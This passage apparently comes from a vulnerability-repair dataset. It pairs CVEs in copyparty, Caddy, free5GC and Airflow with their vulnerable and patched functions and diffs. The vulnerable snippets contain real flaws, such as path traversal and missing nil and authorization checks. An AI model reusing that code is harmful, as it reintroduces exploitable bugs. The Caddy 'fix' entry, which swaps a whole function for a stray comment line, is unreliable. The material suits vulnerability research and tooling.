{"cve_id": "CVE-2023-37474", "cve_description": "Copyparty is a portable file server. Versions prior to 1.8.2 are subject to a path traversal vulnerability detected in the `.cpr` subfolder. The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory. This issue has been addressed in commit `043e3c7d` which has been included in release 1.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/9001/copyparty", "patch_url": ["https://github.com/9001/copyparty/commit/043e3c7dd683113e2b1c15cacb9c8e68f76513ff"], "programing_language": "Python", "vul_func": [{"id": "vul_py_216_1", "commit": "8f59afb", "file_path": "copyparty/httpcli.py", "start_line": 751, "end_line": 864, "snippet": "    def handle_get(self) -> bool:\n        if self.do_log:\n            logmsg = \"%-4s %s @%s\" % (self.mode, self.req, self.uname)\n\n            if \"range\" in self.headers:\n                try:\n                    rval = self.headers[\"range\"].split(\"=\", 1)[1]\n                except:\n                    rval = self.headers[\"range\"]\n\n                logmsg += \" [\\033[36m\" + rval + \"\\033[0m]\"\n\n            self.log(logmsg)\n\n        # \"embedded\" resources\n        if self.vpath.startswith(\".cpr\"):\n            if self.vpath.startswith(\".cpr/ico/\"):\n                return self.tx_ico(self.vpath.split(\"/\")[-1], exact=True)\n\n            if self.vpath.startswith(\".cpr/ssdp\"):\n                return self.conn.hsrv.ssdp.reply(self)\n\n            if self.vpath.startswith(\".cpr/dd/\") and self.args.mpmc:\n                if self.args.mpmc == \".\":\n                    raise Pebkac(404)\n\n                loc = self.args.mpmc.rstrip(\"/\") + self.vpath[self.vpath.rfind(\"/\") :]\n                h = {\"Location\": loc, \"Cache-Control\": \"max-age=39\"}\n                self.reply(b\"\", 301, headers=h)\n                return True\n\n            static_path = os.path.join(self.E.mod, \"web/\", self.vpath[5:])\n            return self.tx_file(static_path)\n\n        if \"cf_challenge\" in self.uparam:\n            self.reply(self.j2s(\"cf\").encode(\"utf-8\", \"replace\"))\n            return True\n\n        if not self.can_read and not self.can_write and not self.can_get:\n            t = \"@{} has no access to [{}]\"\n            self.log(t.format(self.uname, self.vpath))\n\n            if \"on403\" in self.vn.flags:\n                ret = self.on40x(self.vn.flags[\"on403\"], self.vn, self.rem)\n                if ret == \"true\":\n                    return True\n                elif ret == \"false\":\n                    return False\n                elif ret == \"allow\":\n                    self.log(\"plugin override; access permitted\")\n                    self.can_read = self.can_write = self.can_move = True\n                    self.can_delete = self.can_get = self.can_upget = True\n                    self.can_admin = True\n                else:\n                    return self.tx_404(True)\n            else:\n                if self.vpath:\n                    return self.tx_404(True)\n\n                self.uparam[\"h\"] = \"\"\n\n        if \"tree\" in self.uparam:\n            return self.tx_tree()\n\n        if \"scan\" in self.uparam:\n            return self.scanvol()\n\n        if self.args.getmod:\n            if \"delete\" in self.uparam:\n                return self.handle_rm([])\n\n            if \"move\" in self.uparam:\n                return self.handle_mv()\n\n        if not self.vpath:\n            if \"reload\" in self.uparam:\n                return self.handle_reload()\n\n            if \"stack\" in self.uparam:\n                return self.tx_stack()\n\n            if \"ups\" in self.uparam:\n                return self.tx_ups()\n\n            if \"k304\" in self.uparam:\n                return self.set_k304()\n\n            if \"setck\" in self.uparam:\n                return self.setck()\n\n            if \"reset\" in self.uparam:\n                return self.set_cfg_reset()\n\n            if \"hc\" in self.uparam:\n                return self.tx_svcs()\n\n        if \"h\" in self.uparam:\n            return self.tx_mounts()\n\n        # conditional redirect to single volumes\n        if self.vpath == \"\" and not self.ouparam:\n            nread = len(self.rvol)\n            nwrite = len(self.wvol)\n            if nread + nwrite == 1 or (self.rvol == self.wvol and nread == 1):\n                if nread == 1:\n                    vpath = self.rvol[0]\n                else:\n                    vpath = self.wvol[0]\n\n                if self.vpath != vpath:\n                    self.redirect(vpath, flavor=\"redirecting to\", use302=True)\n                    return True\n\n        return self.tx_browser()"}], "fix_func": [{"id": "fix_py_216_1", "commit": "043e3c7", "file_path": "copyparty/httpcli.py", "start_line": 752, "end_line": 872, "snippet": "    def handle_get(self) -> bool:\n        if self.do_log:\n            logmsg = \"%-4s %s @%s\" % (self.mode, self.req, self.uname)\n\n            if \"range\" in self.headers:\n                try:\n                    rval = self.headers[\"range\"].split(\"=\", 1)[1]\n                except:\n                    rval = self.headers[\"range\"]\n\n                logmsg += \" [\\033[36m\" + rval + \"\\033[0m]\"\n\n            self.log(logmsg)\n\n        # \"embedded\" resources\n        if self.vpath.startswith(\".cpr\"):\n            if self.vpath.startswith(\".cpr/ico/\"):\n                return self.tx_ico(self.vpath.split(\"/\")[-1], exact=True)\n\n            if self.vpath.startswith(\".cpr/ssdp\"):\n                return self.conn.hsrv.ssdp.reply(self)\n\n            if self.vpath.startswith(\".cpr/dd/\") and self.args.mpmc:\n                if self.args.mpmc == \".\":\n                    raise Pebkac(404)\n\n                loc = self.args.mpmc.rstrip(\"/\") + self.vpath[self.vpath.rfind(\"/\") :]\n                h = {\"Location\": loc, \"Cache-Control\": \"max-age=39\"}\n                self.reply(b\"\", 301, headers=h)\n                return True\n\n            path_base = os.path.join(self.E.mod, \"web\")\n            static_path = absreal(os.path.join(path_base, self.vpath[5:]))\n            if not static_path.startswith(path_base):\n                t = \"attempted path traversal [{}] => [{}]\"\n                self.log(t.format(self.vpath, static_path), 1)\n                self.tx_404()\n                return False\n\n            return self.tx_file(static_path)\n\n        if \"cf_challenge\" in self.uparam:\n            self.reply(self.j2s(\"cf\").encode(\"utf-8\", \"replace\"))\n            return True\n\n        if not self.can_read and not self.can_write and not self.can_get:\n            t = \"@{} has no access to [{}]\"\n            self.log(t.format(self.uname, self.vpath))\n\n            if \"on403\" in self.vn.flags:\n                ret = self.on40x(self.vn.flags[\"on403\"], self.vn, self.rem)\n                if ret == \"true\":\n                    return True\n                elif ret == \"false\":\n                    return False\n                elif ret == \"allow\":\n                    self.log(\"plugin override; access permitted\")\n                    self.can_read = self.can_write = self.can_move = True\n                    self.can_delete = self.can_get = self.can_upget = True\n                    self.can_admin = True\n                else:\n                    return self.tx_404(True)\n            else:\n                if self.vpath:\n                    return self.tx_404(True)\n\n                self.uparam[\"h\"] = \"\"\n\n        if \"tree\" in self.uparam:\n            return self.tx_tree()\n\n        if \"scan\" in self.uparam:\n            return self.scanvol()\n\n        if self.args.getmod:\n            if \"delete\" in self.uparam:\n                return self.handle_rm([])\n\n            if \"move\" in self.uparam:\n                return self.handle_mv()\n\n        if not self.vpath:\n            if \"reload\" in self.uparam:\n                return self.handle_reload()\n\n            if \"stack\" in self.uparam:\n                return self.tx_stack()\n\n            if \"ups\" in self.uparam:\n                return self.tx_ups()\n\n            if \"k304\" in self.uparam:\n                return self.set_k304()\n\n            if \"setck\" in self.uparam:\n                return self.setck()\n\n            if \"reset\" in self.uparam:\n                return self.set_cfg_reset()\n\n            if \"hc\" in self.uparam:\n                return self.tx_svcs()\n\n        if \"h\" in self.uparam:\n            return self.tx_mounts()\n\n        # conditional redirect to single volumes\n        if self.vpath == \"\" and not self.ouparam:\n            nread = len(self.rvol)\n            nwrite = len(self.wvol)\n            if nread + nwrite == 1 or (self.rvol == self.wvol and nread == 1):\n                if nread == 1:\n                    vpath = self.rvol[0]\n                else:\n                    vpath = self.wvol[0]\n\n                if self.vpath != vpath:\n                    self.redirect(vpath, flavor=\"redirecting to\", use302=True)\n                    return True\n\n        return self.tx_browser()"}], "vul_patch": "--- a/copyparty/httpcli.py\n+++ b/copyparty/httpcli.py\n@@ -29,7 +29,14 @@\n                 self.reply(b\"\", 301, headers=h)\n                 return True\n \n-            static_path = os.path.join(self.E.mod, \"web/\", self.vpath[5:])\n+            path_base = os.path.join(self.E.mod, \"web\")\n+            static_path = absreal(os.path.join(path_base, self.vpath[5:]))\n+            if not static_path.startswith(path_base):\n+                t = \"attempted path traversal [{}] => [{}]\"\n+                self.log(t.format(self.vpath, static_path), 1)\n+                self.tx_404()\n+                return False\n+\n             return self.tx_file(static_path)\n \n         if \"cf_challenge\" in self.uparam:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-28923", "cve_description": "Caddy v2.4.6 was discovered to contain an open redirection vulnerability which allows attackers to redirect users to phishing websites via crafted URLs.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/caddyserver/caddy", "patch_url": ["https://github.com/caddyserver/caddy/commit/78b5356f2b1945a90de1ef7f2c7669d82098edbd"], "programing_language": "Go", "vul_func": [{"id": "vul_go_220_1", "commit": "6f9b6ad", "file_path": "modules/caddyhttp/caddyhttp.go", "start_line": 17, "end_line": 30, "snippet": "import (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"io\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/caddyserver/caddy/v2\"\n\t\"github.com/caddyserver/caddy/v2/caddyconfig/caddyfile\"\n)"}, {"id": "vul_go_220_2", "commit": "6f9b6ad", "file_path": "modules/caddyhttp/caddyhttp.go", "start_line": 230, "end_line": 247, "snippet": "func SanitizedPathJoin(root, reqPath string) string {\n\treqPath, _ = url.PathUnescape(reqPath)\n\tif root == \"\" {\n\t\troot = \".\"\n\t}\n\n\tpath := filepath.Join(root, filepath.Clean(\"/\"+reqPath))\n\n\t// filepath.Join also cleans the path, and cleaning strips\n\t// the trailing slash, so we need to re-add it afterwards.\n\t// if the length is 1, then it's a path to the root,\n\t// and that should return \".\", so we don't append the separator.\n\tif strings.HasSuffix(reqPath, \"/\") && len(reqPath) > 1 {\n\t\tpath += separator\n\t}\n\n\treturn path\n}"}, {"id": "vul_go_220_3", "commit": "6f9b6ad", "file_path": "modules/caddyhttp/fileserver/browsetplcontext.go", "start_line": 31, "end_line": 89, "snippet": "func (fsrv *FileServer) directoryListing(files []os.FileInfo, canGoUp bool, root, urlPath string, repl *caddy.Replacer) browseTemplateContext {\n\tfilesToHide := fsrv.transformHidePaths(repl)\n\n\tvar dirCount, fileCount int\n\tfileInfos := []fileInfo{}\n\n\tfor _, f := range files {\n\t\tname := f.Name()\n\n\t\tif fileHidden(name, filesToHide) {\n\t\t\tcontinue\n\t\t}\n\n\t\tisDir := f.IsDir() || isSymlinkTargetDir(f, root, urlPath)\n\n\t\tu := url.URL{Path: url.PathEscape(name)}\n\n\t\t// add the slash after the escape of path to avoid escaping the slash as well\n\t\tif isDir {\n\t\t\tu.Path += \"/\"\n\t\t\tdirCount++\n\t\t} else {\n\t\t\tfileCount++\n\t\t}\n\n\t\tsize := f.Size()\n\t\tfileIsSymlink := isSymlink(f)\n\t\tif fileIsSymlink {\n\t\t\tpath := caddyhttp.SanitizedPathJoin(root, path.Join(urlPath, f.Name()))\n\t\t\tfileInfo, err := os.Stat(path)\n\t\t\tif err == nil {\n\t\t\t\tsize = fileInfo.Size()\n\t\t\t}\n\t\t\t// An error most likely means the symlink target doesn't exist,\n\t\t\t// which isn't entirely unusual and shouldn't fail the listing.\n\t\t\t// In this case, just use the size of the symlink itself, which\n\t\t\t// was already set above.\n\t\t}\n\n\t\tfileInfos = append(fileInfos, fileInfo{\n\t\t\tIsDir:     isDir,\n\t\t\tIsSymlink: fileIsSymlink,\n\t\t\tName:      name,\n\t\t\tSize:      size,\n\t\t\tURL:       u.String(),\n\t\t\tModTime:   f.ModTime().UTC(),\n\t\t\tMode:      f.Mode(),\n\t\t})\n\t}\n\tname, _ := url.PathUnescape(urlPath)\n\treturn browseTemplateContext{\n\t\tName:     path.Base(name),\n\t\tPath:     urlPath,\n\t\tCanGoUp:  canGoUp,\n\t\tItems:    fileInfos,\n\t\tNumDirs:  dirCount,\n\t\tNumFiles: fileCount,\n\t}\n}"}], "fix_func": [{"id": "fix_go_220_1", "commit": "78b5356f2b1945a90de1ef7f2c7669d82098edbd", "file_path": "modules/caddyhttp/caddyhttp.go", "start_line": 17, "end_line": 29, "snippet": "import (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"io\"\n\t\"net\"\n\t\"net/http\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/caddyserver/caddy/v2\"\n\t\"github.com/caddyserver/caddy/v2/caddyconfig/caddyfile\"\n)"}, {"id": "fix_go_220_2", "commit": "78b5356f2b1945a90de1ef7f2c7669d82098edbd", "file_path": "modules/caddyhttp/caddyhttp.go", "start_line": 249, "end_line": 249, "snippet": "// It should only be used if another listener wrapper must be placed"}, {"id": "fix_go_220_3", "commit": "78b5356f2b1945a90de1ef7f2c7669d82098edbd", "file_path": "modules/caddyhttp/fileserver/browsetplcontext.go", "start_line": 31, "end_line": 89, "snippet": "func (fsrv *FileServer) directoryListing(files []os.FileInfo, canGoUp bool, root, urlPath string, repl *caddy.Replacer) browseTemplateContext {\n\tfilesToHide := fsrv.transformHidePaths(repl)\n\n\tvar dirCount, fileCount int\n\tfileInfos := []fileInfo{}\n\n\tfor _, f := range files {\n\t\tname := f.Name()\n\n\t\tif fileHidden(name, filesToHide) {\n\t\t\tcontinue\n\t\t}\n\n\t\tisDir := f.IsDir() || isSymlinkTargetDir(f, root, urlPath)\n\n\t\t// add the slash after the escape of path to avoid escaping the slash as well\n\t\tif isDir {\n\t\t\tname += \"/\"\n\t\t\tdirCount++\n\t\t} else {\n\t\t\tfileCount++\n\t\t}\n\n\t\tsize := f.Size()\n\t\tfileIsSymlink := isSymlink(f)\n\t\tif fileIsSymlink {\n\t\t\tpath := caddyhttp.SanitizedPathJoin(root, path.Join(urlPath, f.Name()))\n\t\t\tfileInfo, err := os.Stat(path)\n\t\t\tif err == nil {\n\t\t\t\tsize = fileInfo.Size()\n\t\t\t}\n\t\t\t// An error most likely means the symlink target doesn't exist,\n\t\t\t// which isn't entirely unusual and shouldn't fail the listing.\n\t\t\t// In this case, just use the size of the symlink itself, which\n\t\t\t// was already set above.\n\t\t}\n\n\t\tu := url.URL{Path: \"./\" + name} // prepend with \"./\" to fix paths with ':' in the name\n\n\t\tfileInfos = append(fileInfos, fileInfo{\n\t\t\tIsDir:     isDir,\n\t\t\tIsSymlink: fileIsSymlink,\n\t\t\tName:      name,\n\t\t\tSize:      size,\n\t\t\tURL:       u.String(),\n\t\t\tModTime:   f.ModTime().UTC(),\n\t\t\tMode:      f.Mode(),\n\t\t})\n\t}\n\tname, _ := url.PathUnescape(urlPath)\n\treturn browseTemplateContext{\n\t\tName:     path.Base(name),\n\t\tPath:     urlPath,\n\t\tCanGoUp:  canGoUp,\n\t\tItems:    fileInfos,\n\t\tNumDirs:  dirCount,\n\t\tNumFiles: fileCount,\n\t}\n}"}], "vul_patch": "--- a/modules/caddyhttp/caddyhttp.go\n+++ b/modules/caddyhttp/caddyhttp.go\n@@ -4,7 +4,6 @@\n \t\"io\"\n \t\"net\"\n \t\"net/http\"\n-\t\"net/url\"\n \t\"path/filepath\"\n \t\"strconv\"\n \t\"strings\"\n\n--- a/modules/caddyhttp/caddyhttp.go\n+++ b/modules/caddyhttp/caddyhttp.go\n@@ -1,18 +1 @@\n-func SanitizedPathJoin(root, reqPath string) string {\n-\treqPath, _ = url.PathUnescape(reqPath)\n-\tif root == \"\" {\n-\t\troot = \".\"\n-\t}\n-\n-\tpath := filepath.Join(root, filepath.Clean(\"/\"+reqPath))\n-\n-\t// filepath.Join also cleans the path, and cleaning strips\n-\t// the trailing slash, so we need to re-add it afterwards.\n-\t// if the length is 1, then it's a path to the root,\n-\t// and that should return \".\", so we don't append the separator.\n-\tif strings.HasSuffix(reqPath, \"/\") && len(reqPath) > 1 {\n-\t\tpath += separator\n-\t}\n-\n-\treturn path\n-}\n+// It should only be used if another listener wrapper must be placed\n\n--- a/modules/caddyhttp/fileserver/browsetplcontext.go\n+++ b/modules/caddyhttp/fileserver/browsetplcontext.go\n@@ -13,11 +13,9 @@\n \n \t\tisDir := f.IsDir() || isSymlinkTargetDir(f, root, urlPath)\n \n-\t\tu := url.URL{Path: url.PathEscape(name)}\n-\n \t\t// add the slash after the escape of path to avoid escaping the slash as well\n \t\tif isDir {\n-\t\t\tu.Path += \"/\"\n+\t\t\tname += \"/\"\n \t\t\tdirCount++\n \t\t} else {\n \t\t\tfileCount++\n@@ -36,6 +34,8 @@\n \t\t\t// In this case, just use the size of the symlink itself, which\n \t\t\t// was already set above.\n \t\t}\n+\n+\t\tu := url.URL{Path: \"./\" + name} // prepend with \"./\" to fix paths with ':' in the name\n \n \t\tfileInfos = append(fileInfos, fileInfo{\n \t\t\tIsDir:     isDir,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-49391", "cve_description": "An issue was discovered in free5GC version 3.3.0, allows remote attackers to execute arbitrary code and cause a denial of service (DoS) on AMF component via crafted NGAP message.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/free5gc/amf", "patch_url": ["https://github.com/free5gc/amf/commit/6fc612c35997cf4e8be1e5c86ae2242f04b576a9"], "programing_language": "Go", "vul_func": [{"id": "vul_go_146_1", "commit": "aebc9fc", "file_path": "internal/context/context.go", "start_line": 353, "end_line": 360, "snippet": "func (context *AMFContext) NewAmfRan(conn net.Conn) *AmfRan {\n\tran := AmfRan{}\n\tran.SupportedTAList = make([]SupportedTAI, 0, MaxNumOfTAI*MaxNumOfBroadcastPLMNs)\n\tran.Conn = conn\n\tran.Log = logger.NgapLog.WithField(logger.FieldRanAddr, conn.RemoteAddr().String())\n\tcontext.AmfRanPool.Store(conn, &ran)\n\treturn &ran\n}"}, {"id": "vul_go_146_2", "commit": "aebc9fc", "file_path": "internal/context/ran_ue.go", "start_line": 125, "end_line": 141, "snippet": "func (ranUe *RanUe) UpdateLogFields() {\n\tif ranUe.Ran != nil && ranUe.Ran.Conn != nil {\n\t\tranUe.Log = ranUe.Log.WithField(logger.FieldRanAddr, ranUe.Ran.Conn.RemoteAddr().String())\n\n\t\tanTypeStr := \"\"\n\t\tif ranUe.Ran.AnType == models.AccessType__3_GPP_ACCESS {\n\t\t\tanTypeStr = \"3GPP\"\n\t\t} else if ranUe.Ran.AnType == models.AccessType_NON_3_GPP_ACCESS {\n\t\t\tanTypeStr = \"Non3GPP\"\n\t\t}\n\t\tranUe.Log = ranUe.Log.WithField(logger.FieldAmfUeNgapID,\n\t\t\tfmt.Sprintf(\"RU:%d,AU:%d(%s)\", ranUe.RanUeNgapId, ranUe.AmfUeNgapId, anTypeStr))\n\t} else {\n\t\tranUe.Log = ranUe.Log.WithField(logger.FieldRanAddr, \"no ran conn\")\n\t\tranUe.Log = ranUe.Log.WithField(logger.FieldAmfUeNgapID, \"RU:,AU:\")\n\t}\n}"}, {"id": "vul_go_146_3", "commit": "aebc9fc", "file_path": "internal/ngap/dispatcher.go", "start_line": 13, "end_line": 46, "snippet": "func Dispatch(conn net.Conn, msg []byte) {\n\tvar ran *context.AmfRan\n\tamfSelf := context.GetSelf()\n\n\tran, ok := amfSelf.AmfRanFindByConn(conn)\n\tif !ok {\n\t\tlogger.NgapLog.Infof(\"Create a new NG connection for: %s\", conn.RemoteAddr().String())\n\t\tran = amfSelf.NewAmfRan(conn)\n\t}\n\n\tif len(msg) == 0 {\n\t\tran.Log.Infof(\"RAN close the connection.\")\n\t\tran.Remove()\n\t\treturn\n\t}\n\n\tpdu, err := ngap.Decoder(msg)\n\tif err != nil {\n\t\tran.Log.Errorf(\"NGAP decode error : %+v\", err)\n\t\treturn\n\t}\n\n\tif ran == nil {\n\t\tlogger.NgapLog.Error(\"ran is nil\")\n\t\treturn\n\t}\n\n\tif pdu == nil {\n\t\tran.Log.Error(\"NGAP Message is nil\")\n\t\treturn\n\t}\n\n\tdispatchMain(ran, pdu)\n}"}], "fix_func": [{"id": "fix_go_146_1", "commit": "6fc612c", "file_path": "internal/context/context.go", "start_line": 353, "end_line": 366, "snippet": "func (context *AMFContext) NewAmfRan(conn net.Conn) *AmfRan {\n\tran := AmfRan{}\n\tran.SupportedTAList = make([]SupportedTAI, 0, MaxNumOfTAI*MaxNumOfBroadcastPLMNs)\n\tran.Conn = conn\n\taddr := conn.RemoteAddr()\n\tif addr != nil {\n\t\tran.Log = logger.NgapLog.WithField(logger.FieldRanAddr, addr.String())\n\t} else {\n\t\tran.Log = logger.NgapLog.WithField(logger.FieldRanAddr, \"(nil)\")\n\t}\n\n\tcontext.AmfRanPool.Store(conn, &ran)\n\treturn &ran\n}"}, {"id": "fix_go_146_2", "commit": "6fc612c", "file_path": "internal/context/ran_ue.go", "start_line": 125, "end_line": 146, "snippet": "func (ranUe *RanUe) UpdateLogFields() {\n\tif ranUe.Ran != nil && ranUe.Ran.Conn != nil {\n\t\taddr := ranUe.Ran.Conn.RemoteAddr()\n\t\tif addr != nil {\n\t\t\tranUe.Log = ranUe.Log.WithField(logger.FieldRanAddr, addr.String())\n\t\t} else {\n\t\t\tranUe.Log = ranUe.Log.WithField(logger.FieldRanAddr, \"(nil)\")\n\t\t}\n\n\t\tanTypeStr := \"\"\n\t\tif ranUe.Ran.AnType == models.AccessType__3_GPP_ACCESS {\n\t\t\tanTypeStr = \"3GPP\"\n\t\t} else if ranUe.Ran.AnType == models.AccessType_NON_3_GPP_ACCESS {\n\t\t\tanTypeStr = \"Non3GPP\"\n\t\t}\n\t\tranUe.Log = ranUe.Log.WithField(logger.FieldAmfUeNgapID,\n\t\t\tfmt.Sprintf(\"RU:%d,AU:%d(%s)\", ranUe.RanUeNgapId, ranUe.AmfUeNgapId, anTypeStr))\n\t} else {\n\t\tranUe.Log = ranUe.Log.WithField(logger.FieldRanAddr, \"no ran conn\")\n\t\tranUe.Log = ranUe.Log.WithField(logger.FieldAmfUeNgapID, \"RU:,AU:\")\n\t}\n}"}, {"id": "fix_go_146_3", "commit": "6fc612c", "file_path": "internal/ngap/dispatcher.go", "start_line": 13, "end_line": 51, "snippet": "func Dispatch(conn net.Conn, msg []byte) {\n\tvar ran *context.AmfRan\n\tamfSelf := context.GetSelf()\n\n\tran, ok := amfSelf.AmfRanFindByConn(conn)\n\tif !ok {\n\t\taddr := conn.RemoteAddr()\n\t\tif addr == nil {\n\t\t\tlogger.NgapLog.Warn(\"Addr of new NG connection is nii\")\n\t\t\treturn\n\t\t}\n\t\tlogger.NgapLog.Infof(\"Create a new NG connection for: %s\", addr.String())\n\t\tran = amfSelf.NewAmfRan(conn)\n\t}\n\n\tif len(msg) == 0 {\n\t\tran.Log.Infof(\"RAN close the connection.\")\n\t\tran.Remove()\n\t\treturn\n\t}\n\n\tpdu, err := ngap.Decoder(msg)\n\tif err != nil {\n\t\tran.Log.Errorf(\"NGAP decode error : %+v\", err)\n\t\treturn\n\t}\n\n\tif ran == nil {\n\t\tlogger.NgapLog.Error(\"ran is nil\")\n\t\treturn\n\t}\n\n\tif pdu == nil {\n\t\tran.Log.Error(\"NGAP Message is nil\")\n\t\treturn\n\t}\n\n\tdispatchMain(ran, pdu)\n}"}], "vul_patch": "--- a/internal/context/context.go\n+++ b/internal/context/context.go\n@@ -2,7 +2,13 @@\n \tran := AmfRan{}\n \tran.SupportedTAList = make([]SupportedTAI, 0, MaxNumOfTAI*MaxNumOfBroadcastPLMNs)\n \tran.Conn = conn\n-\tran.Log = logger.NgapLog.WithField(logger.FieldRanAddr, conn.RemoteAddr().String())\n+\taddr := conn.RemoteAddr()\n+\tif addr != nil {\n+\t\tran.Log = logger.NgapLog.WithField(logger.FieldRanAddr, addr.String())\n+\t} else {\n+\t\tran.Log = logger.NgapLog.WithField(logger.FieldRanAddr, \"(nil)\")\n+\t}\n+\n \tcontext.AmfRanPool.Store(conn, &ran)\n \treturn &ran\n }\n\n--- a/internal/context/ran_ue.go\n+++ b/internal/context/ran_ue.go\n@@ -1,6 +1,11 @@\n func (ranUe *RanUe) UpdateLogFields() {\n \tif ranUe.Ran != nil && ranUe.Ran.Conn != nil {\n-\t\tranUe.Log = ranUe.Log.WithField(logger.FieldRanAddr, ranUe.Ran.Conn.RemoteAddr().String())\n+\t\taddr := ranUe.Ran.Conn.RemoteAddr()\n+\t\tif addr != nil {\n+\t\t\tranUe.Log = ranUe.Log.WithField(logger.FieldRanAddr, addr.String())\n+\t\t} else {\n+\t\t\tranUe.Log = ranUe.Log.WithField(logger.FieldRanAddr, \"(nil)\")\n+\t\t}\n \n \t\tanTypeStr := \"\"\n \t\tif ranUe.Ran.AnType == models.AccessType__3_GPP_ACCESS {\n\n--- a/internal/ngap/dispatcher.go\n+++ b/internal/ngap/dispatcher.go\n@@ -4,7 +4,12 @@\n \n \tran, ok := amfSelf.AmfRanFindByConn(conn)\n \tif !ok {\n-\t\tlogger.NgapLog.Infof(\"Create a new NG connection for: %s\", conn.RemoteAddr().String())\n+\t\taddr := conn.RemoteAddr()\n+\t\tif addr == nil {\n+\t\t\tlogger.NgapLog.Warn(\"Addr of new NG connection is nii\")\n+\t\t\treturn\n+\t\t}\n+\t\tlogger.NgapLog.Infof(\"Create a new NG connection for: %s\", addr.String())\n \t\tran = amfSelf.NewAmfRan(conn)\n \t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-47037", "cve_description": "We failed to apply\u00a0CVE-2023-40611 in 2.7.1 and this vulnerability was marked as fixed then.\u00a0\n\nApache Airflow, versions before 2.7.3, is affected by a vulnerability that allows authenticated and DAG-view authorized Users to modify some DAG run detail values when submitting notes. This could have them alter details such as configuration parameters, start date, etc.\u00a0\n\nUsers should upgrade to version 2.7.3 or later which has removed the vulnerability.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/apache/airflow", "patch_url": ["https://github.com/apache/airflow/commit/2a0106e4edf67c5905ebfcb82a6008662ae0f7ad", "https://github.com/apache/airflow/commit/b7a46c970d638028a4a7643ad000dcee951fb9ef"], "programing_language": "Python", "vul_func": [{"id": "vul_py_259_1", "commit": "a2b0a6a", "file_path": "airflow/www/forms.py", "start_line": 121, "end_line": 144, "snippet": "class DagRunEditForm(DynamicForm):\n    \"\"\"Form for editing DAG Run.\n\n    We don't actually want to allow editing, so everything is read-only here.\n    \"\"\"\n\n    dag_id = StringField(lazy_gettext(\"Dag Id\"), widget=BS3TextFieldROWidget())\n    start_date = DateTimeWithTimezoneField(lazy_gettext(\"Start Date\"), widget=AirflowDateTimePickerROWidget())\n    end_date = DateTimeWithTimezoneField(lazy_gettext(\"End Date\"), widget=AirflowDateTimePickerROWidget())\n    run_id = StringField(lazy_gettext(\"Run Id\"), widget=BS3TextFieldROWidget())\n    state = StringField(lazy_gettext(\"State\"), widget=BS3TextFieldROWidget())\n    execution_date = DateTimeWithTimezoneField(\n        lazy_gettext(\"Logical Date\"),\n        widget=AirflowDateTimePickerROWidget(),\n    )\n    conf = TextAreaField(lazy_gettext(\"Conf\"), widget=BS3TextAreaROWidget())\n    note = TextAreaField(lazy_gettext(\"User Note\"), widget=BS3TextAreaFieldWidget())\n\n    def populate_obj(self, item):\n        \"\"\"Populates the attributes of the passed obj with data from the form's fields.\"\"\"\n        super().populate_obj(item)\n        item.run_type = DagRunType.from_run_id(item.run_id)\n        if item.conf:\n            item.conf = json.loads(item.conf)"}, {"id": "vul_py_259_2", "commit": "a2b0a6a", "file_path": "airflow/www/forms.py", "start_line": 147, "end_line": 172, "snippet": "class TaskInstanceEditForm(DynamicForm):\n    \"\"\"Form for editing TaskInstance.\"\"\"\n\n    dag_id = StringField(lazy_gettext(\"Dag Id\"), validators=[InputRequired()], widget=BS3TextFieldROWidget())\n    task_id = StringField(\n        lazy_gettext(\"Task Id\"), validators=[InputRequired()], widget=BS3TextFieldROWidget()\n    )\n    start_date = DateTimeWithTimezoneField(lazy_gettext(\"Start Date\"), widget=AirflowDateTimePickerROWidget())\n    end_date = DateTimeWithTimezoneField(lazy_gettext(\"End Date\"), widget=AirflowDateTimePickerROWidget())\n    state = SelectField(\n        lazy_gettext(\"State\"),\n        choices=(\n            (\"success\", \"success\"),\n            (\"running\", \"running\"),\n            (\"failed\", \"failed\"),\n            (\"up_for_retry\", \"up_for_retry\"),\n        ),\n        widget=Select2Widget(),\n        validators=[InputRequired()],\n    )\n    execution_date = DateTimeWithTimezoneField(\n        lazy_gettext(\"Logical Date\"),\n        widget=AirflowDateTimePickerROWidget(),\n        validators=[InputRequired()],\n    )\n    note = TextAreaField(lazy_gettext(\"User Note\"), widget=BS3TextAreaFieldWidget())"}], 